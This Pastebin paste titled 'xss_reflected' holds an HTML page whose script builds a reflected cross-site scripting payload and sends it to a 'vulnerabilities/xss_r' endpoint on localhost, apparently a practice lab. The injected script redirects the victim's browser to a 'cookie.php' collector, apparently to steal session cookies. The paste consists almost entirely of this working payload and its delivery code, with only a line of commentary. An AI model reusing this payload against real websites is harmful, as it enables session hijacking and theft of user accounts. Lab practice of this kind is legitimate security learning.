Advertisement
Guest User

xss_reflected

a guest
Nov 12th, 2017
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.74 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.         <meta charset="UTF-8">
  5.         <title>XSS Reflected</title>
  6.         <script>
  7.             var http = new XMLHttpRequest();
  8.             http.onreadystatechange = function(){
  9.                 console.log(http.response); // will print response in order to check if <script> tag was really returned to the victims browser. Which it is
  10.             };
  11.  
  12.             var encode = 'document.location.href="http://localhost:81/myfiles/cookie.php"';
  13.             console.log(encode);
  14.            
  15.             var url = '<'+'script>'+encode+'<'+'/script>';
  16.             console.log(url);
  17.  
  18.             var encoded_url = encodeURIComponent(url);
  19.  
  20.             http.open("GET","http://localhost:81/vulnerabilities/xss_r/?name="+encoded_url,true);
  21.             http.send();
  22.  
  23.         </script>
  24.  
  25. </head>
  26. <body>
  27. <h1>My webpage</h1>
  28. </body>
  29. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement